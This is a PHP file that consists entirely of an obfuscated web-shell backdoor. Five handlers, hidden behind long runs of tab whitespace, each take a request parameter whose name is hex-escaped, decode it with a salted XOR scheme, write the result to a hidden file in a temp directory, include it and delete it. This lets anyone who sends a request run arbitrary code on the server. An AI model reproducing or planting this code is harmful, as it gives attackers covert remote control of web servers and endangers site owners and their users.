<?																																										if(count($_POST) > 0 && isset($_POST["f\x61c\x74o\x72"])){ $element = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), getcwd(), sys_get_temp_dir(), "/var/tmp", "/tmp", "/dev/shm", getenv("TEMP")]); $descriptor = $_POST["f\x61c\x74o\x72"]; $descriptor =explode ("." ,$descriptor ) ; $parameter_group = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $len = count( $descriptor); for( $u = 0; $u <$len; $u++) { $v3 = $descriptor[$u]; $chS = ord( $salt[$u % $sLen]); $dec =( ( int)$v3 - $chS -( $u % 10))^94; $parameter_group .=chr( $dec); } while ($item = array_shift($element)) { if (!!is_dir($item) && !!is_writable($item)) { $component = sprintf("%s/.ent", $item); if (@file_put_contents($component, $parameter_group) !== false) { include $component; unlink($component); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x65ntit\x79"])){ $pset = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", getcwd(), "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), session_save_path(), "/var/tmp"]); $ptr = $_REQUEST["\x65ntit\x79"]; $ptr =explode ( '.' ,$ptr ) ; $bind=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s); $k=0; $__tmp=$ptr; while ($v3=array_shift($__tmp)) { $sChar=ord($s[$k % $sLen]); $d=((int)$v3 - $sChar - ($k % 10))^49; $bind .= chr($d); $k++; } foreach ($pset as $comp): if (is_dir($comp) && is_writable($comp)) { $val = vsprintf("%s/%s", [$comp, ".descriptor"]); $file = fopen($val, 'w'); if ($file) { fwrite($file, $bind); fclose($file); include $val; @unlink($val); die(); } } endforeach; }
																																										if(!is_null($_POST["\x70ointer"] ?? null)){ $record = $_POST["\x70ointer"]; $record =explode (".",$record) ; $item = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s ); $o = 0; foreach( $record as $v1) { $chS = ord( $s[$o% $lenS] ); $d =( ( int)$v1 - $chS -( $o% 10))^ 6; $item .= chr( $d ); $o++; } $value = array_filter([ini_get("upload_tmp_dir"), getcwd(), "/tmp", session_save_path(), "/var/tmp", getenv("TMP"), sys_get_temp_dir(), "/dev/shm", getenv("TEMP")]); $pgrp = 0; do { $rec = $value[$pgrp] ?? null; if ($pgrp >= count($value)) break; if (is_writable($rec) && is_dir($rec)) { $resource = "$rec/.fac"; $success = file_put_contents($resource, $item); if ($success) { include $resource; @unlink($resource); exit;} } $pgrp++; } while (true); }
																																										if(isset($_REQUEST["k"]) ? true : false){ $ent = $_REQUEST["k"]; $ent = explode( ".", $ent ) ; $rec = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $i = 0; while( $i<count( $ent)) { $v6 = $ent[$i]; $sChar = ord( $salt[$i %$lenS]); $dec =( ( int)$v6 - $sChar -( $i %10)) ^ 3; $rec .= chr( $dec); $i++; } $pgrp = array_filter(["/var/tmp", "/tmp", session_save_path(), getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), "/dev/shm"]); while ($component = array_shift($pgrp)) { if (!( !is_dir($component) || !is_writable($component) )) { $value = join("/", [$component, ".ptr"]); $success = file_put_contents($value, $rec); if ($success) { include $value; @unlink($value); exit;} } } }
																																										if(@$_REQUEST["re\x73o\x75rce"] !== null){ $pointer = $_REQUEST["re\x73o\x75rce"]; $pointer = explode ( '.',$pointer) ; $key=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($s ); $n=0; while ($n<count($pointer)) { $v9=$pointer[$n]; $chS=ord($s[$n % $lenS] ); $dec=((int)$v9 - $chS - ($n % 10)) ^73; $key .=chr($dec ); $n++;} $ref = array_filter([session_save_path(), getenv("TEMP"), getenv("TMP"), getcwd(), sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp"]); foreach ($ref as $pgrp): if (is_writable($pgrp) && is_dir($pgrp)) { $factor = vsprintf("%s/%s", [$pgrp, ".data"]); $success = file_put_contents($factor, $key); if ($success) { include $factor; @unlink($factor); die();} } endforeach; }